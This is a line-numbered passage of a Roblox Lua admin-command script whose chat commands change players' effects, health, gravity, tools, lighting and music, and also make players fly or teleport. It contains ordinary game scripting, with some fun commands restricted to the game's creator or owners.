  1042. coroutine.resume(coroutine.create(function()
  1043. if v and v.Character and v.Character:findFirstChild("Torso") then
  1044. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  1045. end
  1046. end))
  1047. end
  1048. end
  1049.  
  1050. if msg:lower():sub(1,9) == "sparkles " then
  1051. local plrz = GetPlr(plr, msg:lower():sub(10))
  1052. for i, v in pairs(plrz) do
  1053. coroutine.resume(coroutine.create(function()
  1054. if v and v.Character and v.Character:findFirstChild("Torso") then
  1055. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1056. end
  1057. end))
  1058. end
  1059. end
  1060.  
  1061. if msg:lower():sub(1,11) == "unsparkles " then
  1062. local plrz = GetPlr(plr, msg:lower():sub(12))
  1063. for i, v in pairs(plrz) do
  1064. coroutine.resume(coroutine.create(function()
  1065. if v and v.Character and v.Character:findFirstChild("Torso") then
  1066. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1067. end
  1068. end))
  1069. end
  1070. end
  1071.  
  1072. if msg:lower():sub(1,3) == "ff " then
  1073. local plrz = GetPlr(plr, msg:lower():sub(4))
  1074. for i, v in pairs(plrz) do
  1075. coroutine.resume(coroutine.create(function()
  1076. if v and v.Character then Instance.new("ForceField", v.Character) end
  1077. end))
  1078. end
  1079. end
  1080.  
  1081. if msg:lower():sub(1,5) == "unff " then
  1082. local plrz = GetPlr(plr, msg:lower():sub(6))
  1083. for i, v in pairs(plrz) do
  1084. coroutine.resume(coroutine.create(function()
  1085. if v and v.Character then
  1086. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1087. end
  1088. end))
  1089. end
  1090. end
  1091.  
  1092. if msg:lower():sub(1,7) == "punish " then
  1093. local plrz = GetPlr(plr, msg:lower():sub(8))
  1094. for i, v in pairs(plrz) do
  1095. coroutine.resume(coroutine.create(function()
  1096. if v and v.Character then
  1097. v.Character.Parent = game:service("Lighting")
  1098. end
  1099. end))
  1100. end
  1101. end
  1102.  
  1103. if msg:lower():sub(1,9) == "unpunish " then
  1104. local plrz = GetPlr(plr, msg:lower():sub(10))
  1105. for i, v in pairs(plrz) do
  1106. coroutine.resume(coroutine.create(function()
  1107. if v and v.Character then
  1108. v.Character.Parent = game:service("Workspace")
  1109. v.Character:MakeJoints()
  1110. end
  1111. end))
  1112. end
  1113. end
  1114.  
  1115. if msg:lower():sub(1,7) == "freeze " then
  1116. local plrz = GetPlr(plr, msg:lower():sub(8))
  1117. for i, v in pairs(plrz) do
  1118. coroutine.resume(coroutine.create(function()
  1119. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1120. for a, obj in pairs(v.Character:children()) do
  1121. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1122. end
  1123. end
  1124. end))
  1125. end
  1126. end
  1127.  
  1128. if msg:lower():sub(1,5) == "thaw " then
  1129. local plrz = GetPlr(plr, msg:lower():sub(6))
  1130. for i, v in pairs(plrz) do
  1131. coroutine.resume(coroutine.create(function()
  1132. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1133. for a, obj in pairs(v.Character:children()) do
  1134. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1135. end
  1136. end
  1137. end))
  1138. end
  1139. end
  1140.  
  1141. if msg:lower():sub(1,5) == "heal " then
  1142. local plrz = GetPlr(plr, msg:lower():sub(6))
  1143. for i, v in pairs(plrz) do
  1144. coroutine.resume(coroutine.create(function()
  1145. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1146. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1147. end
  1148. end))
  1149. end
  1150. end
  1151.  
  1152. if msg:lower():sub(1,4) == "god " then
  1153. local plrz = GetPlr(plr, msg:lower():sub(5))
  1154. for i, v in pairs(plrz) do
  1155. coroutine.resume(coroutine.create(function()
  1156. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1157. v.Character.Humanoid.MaxHealth = math.huge
  1158. v.Character.Humanoid.Health = 9e9
  1159. end
  1160. end))
  1161. end
  1162. end
  1163.  
  1164. if msg:lower():sub(1,6) == "ungod " then
  1165. local plrz = GetPlr(plr, msg:lower():sub(7))
  1166. for i, v in pairs(plrz) do
  1167. coroutine.resume(coroutine.create(function()
  1168. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1169. v.Character.Humanoid.MaxHealth = 100
  1170. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1171. end
  1172. end))
  1173. end
  1174. end
  1175.  
  1176. if msg:lower():sub(1,8) == "ambient " then
  1177. local chk1 = msg:lower():sub(9):find(" ") + 8
  1178. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1179. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1180. end
  1181.  
  1182. if msg:lower():sub(1,11) == "brightness " then
  1183. game.Lighting.Brightness = msg:sub(12)
  1184. end
  1185.  
  1186. if msg:lower():sub(1,5) == "time " then
  1187. game.Lighting.TimeOfDay = msg:sub(6)
  1188. end
  1189.  
  1190. if msg:lower():sub(1,9) == "fogcolor " then
  1191. local chk1 = msg:lower():sub(10):find(" ") + 9
  1192. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1193. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1194. end
  1195.  
  1196. if msg:lower():sub(1,7) == "fogend " then
  1197. game.Lighting.FogEnd = msg:sub(8)
  1198. end
  1199.  
  1200. if msg:lower():sub(1,9) == "fogstart " then
  1201. game.Lighting.FogStart = msg:sub(10)
  1202. end
  1203.  
  1204. if msg:lower():sub(1,7) == "btools " then
  1205. local plrz = GetPlr(plr, msg:lower():sub(8))
  1206. for i, v in pairs(plrz) do
  1207. coroutine.resume(coroutine.create(function()
  1208. if v and v:findFirstChild("Backpack") then
  1209. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1210. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1211. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1212. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1213. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1214. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1215. local sb
  1216. local hs
  1217. local pdist
  1218.  
  1219. script.Parent.Selected:connect(function(mouse)
  1220. if not mouse then return end
  1221. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1222. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1223. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1224. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1225. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1226. end)
  1227.  
  1228. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1229. end
  1230. end))
  1231. end
  1232. end
  1233.  
  1234. if msg:lower():sub(1,12) == "startergive " then
  1235. local chk1 = msg:lower():sub(13):find(" ") + 12
  1236. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  1237. for i, v in pairs(plrz) do
  1238. coroutine.resume(coroutine.create(function()
  1239. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  1240. for a, tool in pairs(game.Lighting:children()) do
  1241. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1242. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  1243. end
  1244. end
  1245. end
  1246. end))
  1247. end
  1248. end
  1249.  
  1250. if msg:lower():sub(1,5) == "give " then
  1251. local chk1 = msg:lower():sub(6):find(" ") + 5
  1252. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1253. for i, v in pairs(plrz) do
  1254. coroutine.resume(coroutine.create(function()
  1255. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1256. for a, tool in pairs(game.Lighting:children()) do
  1257. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1258. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1259. end
  1260. end
  1261. end
  1262. end))
  1263. end
  1264. end
  1265.  
  1266. if msg:lower():sub(1,12) == "removetools " then
  1267. local plrz = GetPlr(plr, msg:lower():sub(13))
  1268. for i, v in pairs(plrz) do
  1269. coroutine.resume(coroutine.create(function()
  1270. if v and v.Character and v:findFirstChild("Backpack") then
  1271. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1272. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1273. end
  1274. end))
  1275. end
  1276. end
  1277.  
  1278. if msg:lower():sub(1,5) == "rank " then
  1279. local chk1 = msg:lower():sub(6):find(" ") + 5
  1280. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1281. for i, v in pairs(plrz) do
  1282. coroutine.resume(coroutine.create(function()
  1283. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1284. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1285. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1286. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1287. end
  1288. end))
  1289. end
  1290. end
  1291.  
  1292. if msg:lower():sub(1,7) == "damage " then
  1293. local chk1 = msg:lower():sub(8):find(" ") + 7
  1294. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1295. for i, v in pairs(plrz) do
  1296. coroutine.resume(coroutine.create(function()
  1297. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1298. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1299. end
  1300. end))
  1301. end
  1302. end
  1303.  
  1304. if msg:lower():sub(1,5) == "grav " then
  1305. local plrz = GetPlr(plr, msg:lower():sub(6))
  1306. for i, v in pairs(plrz) do
  1307. coroutine.resume(coroutine.create(function()
  1308. if v and v.Character and v.Character:findFirstChild("Torso") then
  1309. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1310. end
  1311. end))
  1312. end
  1313. end
  1314.  
  1315. if msg:lower():sub(1,8) == "setgrav " then
  1316. local chk1 = msg:lower():sub(9):find(" ") + 8
  1317. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1318. for i, v in pairs(plrz) do
  1319. coroutine.resume(coroutine.create(function()
  1320. if v and v.Character and v.Character:findFirstChild("Torso") then
  1321. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1322. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1323. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1324. end
  1325. end))
  1326. end
  1327. end
  1328.  
  1329. if msg:lower():sub(1,7) == "nograv " then
  1330. local plrz = GetPlr(plr, msg:lower():sub(8))
  1331. for i, v in pairs(plrz) do
  1332. coroutine.resume(coroutine.create(function()
  1333. if v and v.Character and v.Character:findFirstChild("Torso") then
  1334. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1335. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1336. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1337. end
  1338. end))
  1339. end
  1340. end
  1341.  
  1342. if msg:lower():sub(1,7) == "health " then
  1343. local chk1 = msg:lower():sub(8):find(" ") + 7
  1344. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1345. for i, v in pairs(plrz) do
  1346. coroutine.resume(coroutine.create(function()
  1347. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1348. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1349. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1350. end
  1351. end))
  1352. end
  1353. end
  1354.  
  1355. if msg:lower():sub(1,6) == "speed " then
  1356. local chk1 = msg:lower():sub(7):find(" ") + 6
  1357. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1358. for i, v in pairs(plrz) do
  1359. coroutine.resume(coroutine.create(function()
  1360. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1361. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1362. end
  1363. end))
  1364. end
  1365. end
  1366.  
  1367. if msg:lower():sub(1,5) == "team " then
  1368. local chk1 = msg:lower():sub(6):find(" ") + 5
  1369. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1370. for i, v in pairs(plrz) do
  1371. coroutine.resume(coroutine.create(function()
  1372. if v and game:findFirstChild("Teams") then
  1373. for a, tm in pairs(game.Teams:children()) do
  1374. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1375. end
  1376. end
  1377. end))
  1378. end
  1379. end
  1380.  
  1381. if msg:lower():sub(1,6) == "place " then
  1382. local chk1 = msg:lower():sub(7):find(" ") + 6
  1383. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1384. for i, v in pairs(plrz) do
  1385. coroutine.resume(coroutine.create(function()
  1386. if v and v:findFirstChild("PlayerGui") then
  1387. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1388. end
  1389. end))
  1390. end
  1391. end
  1392.  
  1393. if msg:lower():sub(1,3) == "tp " then
  1394. local chk1 = msg:lower():sub(4):find(" ") + 3
  1395. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1396. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1397. for i, v in pairs(plrz) do
  1398. coroutine.resume(coroutine.create(function()
  1399. for i2, v2 in pairs(plrz2) do
  1400. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1401. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1402. end
  1403. end
  1404. end))
  1405. end
  1406. end
  1407.  
  1408. if msg:lower():sub(1,7) == "change " then
  1409. local chk1 = msg:lower():sub(8):find(" ") + 7
  1410. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1411. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1412. for i, v in pairs(plrz) do
  1413. coroutine.resume(coroutine.create(function()
  1414. if v and v:findFirstChild("leaderstats") then
  1415. for a, st in pairs(v.leaderstats:children()) do
  1416. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1417. end
  1418. end
  1419. end))
  1420. end
  1421. end
  1422.  
  1423. if msg:lower():sub(1,6) == "shirt " then
  1424. local chk1 = msg:lower():sub(7):find(" ") + 6
  1425. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1426. for i, v in pairs(plrz) do
  1427. coroutine.resume(coroutine.create(function()
  1428. if v and v.Character then
  1429. for i,v in pairs(v.Character:children()) do
  1430. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1431. end
  1432. end
  1433. end))
  1434. end
  1435. end
  1436.  
  1437. if msg:lower():sub(1,6) == "pants " then
  1438. local chk1 = msg:lower():sub(7):find(" ") + 6
  1439. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1440. for i, v in pairs(plrz) do
  1441. coroutine.resume(coroutine.create(function()
  1442. if v and v.Character then
  1443. for i,v in pairs(v.Character:children()) do
  1444. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1445. end
  1446. end
  1447. end))
  1448. end
  1449. end
  1450.  
  1451. if msg:lower():sub(1,5) == "face " then
  1452. local chk1 = msg:lower():sub(6):find(" ") + 5
  1453. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1454. for i, v in pairs(plrz) do
  1455. coroutine.resume(coroutine.create(function()
  1456. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1457. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1458. end
  1459. end))
  1460. end
  1461. end
  1462.  
  1463. ---------------------
  1464. -- FunCommands --
  1465. ---------------------
  1466. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1467.  
  1468. if msg:lower():sub(1,8) == "swagify " then
  1469. local plrz = GetPlr(plr, msg:lower():sub(9))
  1470. for i, v in pairs(plrz) do
  1471. coroutine.resume(coroutine.create(function()
  1472. if v and v.Character then
  1473. for i,v in pairs(v.Character:children()) do
  1474. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1475. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1476. end
  1477. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1478. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1479. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1480. local torso = plr.Character.Torso
  1481. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1482. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1483. p.Size = Vector3.new(.2,.2,.2)
  1484. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1485. local motor1 = Instance.new("Motor", p)
  1486. motor1.Part0 = p
  1487. motor1.Part1 = torso
  1488. motor1.MaxVelocity = .01
  1489. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1490. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1491. local wave = false
  1492. repeat wait(1/44)
  1493. local ang = 0.1
  1494. local oldmag = torso.Velocity.magnitude
  1495. local mv = .002
  1496. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1497. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1498. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1499. motor1.DesiredAngle = -ang
  1500. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1501. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1502. if torso.Velocity.magnitude < .1 then wait(.1) end
  1503. until not p or p.Parent ~= torso.Parent
  1504. script:Destroy()
  1505. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1506. end
  1507. end))
  1508. end
  1509. end
  1510.  
  1511. if msg:lower():sub(1,6) == "music " then
  1512. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1513. local id = msg:sub(7)
  1514. local pitch = 1
  1515. if tostring(id):lower():find("caramell") then id = 2303479 end
  1516. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1517. if tostring(id):find("rick") then id = 2027611 end
  1518. if tostring(id):find("halo") then id = 1034065 end
  1519. if tostring(id):find("pokemon") then id = 1372261 end
  1520. if tostring(id):find("cursed") then id = 1372257 end
  1521. if tostring(id):find("extreme") then id = 11420933 end
  1522. if tostring(id):find("awaken") then id = 27697277 end
  1523. if tostring(id):find("alone") then id = 27697392 end
  1524. if tostring(id):find("mario") then id = 1280470 end
  1525. if tostring(id):find("choir") then id = 1372258 end
  1526. if tostring(id):find("chrono") then id = 1280463 end
  1527. if tostring(id):find("dotr") then id = 11420922 end
  1528. if tostring(id):find("entertain") then id = 27697267 end
  1529. if tostring(id):find("fantasy") then id = 1280473 end
  1530. if tostring(id):find("final") then id = 1280414 end
  1531. if tostring(id):find("emblem") then id = 1372259 end
  1532. if tostring(id):find("flight") then id = 27697719 end
  1533. if tostring(id):find("banjo") then id = 27697298 end
  1534. if tostring(id):find("gothic") then id = 27697743 end
  1535. if tostring(id):find("hiphop") then id = 27697735 end
  1536. if tostring(id):find("intro") then id = 27697707 end
  1537. if tostring(id):find("mule") then id = 1077604 end
  1538. if tostring(id):find("film") then id = 27697713 end
  1539. if tostring(id):find("nezz") then id = 8610025 end
  1540. if tostring(id):find("angel") then id = 1372260 end
  1541. if tostring(id):find("resist") then id = 27697234 end
  1542. if tostring(id):find("schala") then id = 5985787 end
  1543. if tostring(id):find("organ") then id = 11231513 end
  1544. if tostring(id):find("tunnel") then id = 9650822 end
  1545. if tostring(id):find("spanish") then id = 5982975 end
  1546. if tostring(id):find("venom") then id = 1372262 end
  1547. if tostring(id):find("wind") then id = 1015394 end
  1548. if tostring(id):find("guitar") then id = 5986151 end
  1549. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1550. end
  1551.  
  1552. if msg:lower() == "stopmusic" then
  1553. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1554. end
  1555.  
  1556. if msg:lower() == "musiclist" then
  1557. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1558. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1559. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1560. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1561. end
  1562.  
  1563. if msg:lower():sub(1,4) == "fly " then
  1564. local plrz = GetPlr(plr, msg:lower():sub(5))
  1565. for i, v in pairs(plrz) do
  1566. coroutine.resume(coroutine.create(function()
  1567. if v and v:findFirstChild("PlayerGui") then
  1568. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1569. local mouse = game.Players.LocalPlayer:GetMouse()
  1570. repeat wait() until mouse
  1571. local plr = game.Players.LocalPlayer
  1572. local torso = plr.Character.Torso
  1573. local flying = true
  1574. local deb = true
  1575. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  1576. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1577. local maxspeed = 50
  1578. local speed = 0
  1579. function Fly()
  1580. local bg = Instance.new("BodyGyro", torso)
  1581. bg.P = 9e4
  1582. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  1583. bg.cframe = torso.CFrame
  1584. local bv = Instance.new("BodyVelocity", torso)
  1585. bv.velocity = Vector3.new(0,0.1,0)
  1586. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  1587. repeat wait()
  1588. plr.Character.Humanoid.PlatformStand = true
  1589. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  1590. speed = speed+.5+(speed/maxspeed)
  1591. if speed > maxspeed then
  1592. speed = maxspeed
  1593. end
  1594. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  1595. speed = speed-1
  1596. if speed < 0 then
  1597. speed = 0
  1598. end
  1599. end
  1600. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  1601. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1602. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  1603. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  1604. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1605. else
  1606. bv.velocity = Vector3.new(0,0.1,0)
  1607. end
  1608. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  1609. until not flying
  1610. ctrl = {f = 0, b = 0, l = 0, r = 0}
  1611. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1612. speed = 0
  1613. bg:Destroy()
  1614. bv:Destroy()
  1615. plr.Character.Humanoid.PlatformStand = false
  1616. end
  1617. mouse.KeyDown:connect(function(key)
  1618. if key:lower() == "e" then
  1619. if flying then flying = false
  1620. else
  1621. flying = true
  1622. Fly()
  1623. end
  1624. elseif key:lower() == "w" then
  1625. ctrl.f = 1
  1626. elseif key:lower() == "s" then
  1627. ctrl.b = -1
  1628. elseif key:lower() == "a" then
  1629. ctrl.l = -1
  1630. elseif key:lower() == "d" then
  1631. ctrl.r = 1
  1632. end
  1633. end)
  1634. mouse.KeyUp:connect(function(key)
  1635. if key:lower() == "w" then
  1636. ctrl.f = 0
  1637. elseif key:lower() == "s" then
  1638. ctrl.b = 0
  1639. elseif key:lower() == "a" then
  1640. ctrl.l = 0
  1641. elseif key:lower() == "d" then
  1642. ctrl.r = 0
  1643. end
  1644. end)
  1645. Fly()]]
  1646. cl.Parent = v.PlayerGui cl.Disabled = false
  1647. end
  1648. end))
  1649. end
  1650. end
  1651.  
  1652. if msg:lower():sub(1,6) == "unfly " then
  1653. local plrz = GetPlr(plr, msg:lower():sub(7))
  1654. for i, v in pairs(plrz) do
  1655. coroutine.resume(coroutine.create(function()
  1656. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1657. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1658. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1659. wait(.1) v.Character.Humanoid.PlatformStand = false
  1660. end
  1661. end))
  1662. end
  1663. end
  1664.  
  1665. if msg:lower() == "disco" then
  1666. for i, v in pairs(lobjs) do v:Destroy() end
  1667. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1668. game.Lighting.Ambient = color
  1669. game.Lighting.FogColor = color
  1670. until nil]]
  1671. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1672. end
  1673.  
  1674. if msg:lower() == "flash" then
  1675. for i, v in pairs(lobjs) do v:Destroy() end
  1676. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1677. game.Lighting.Ambient = Color3.new(1,1,1)
  1678. game.Lighting.FogColor = Color3.new(1,1,1)
  1679. game.Lighting.Brightness = 1
  1680. game.Lighting.TimeOfDay = 14
  1681. wait(.1)
  1682. game.Lighting.Ambient = Color3.new(0,0,0)
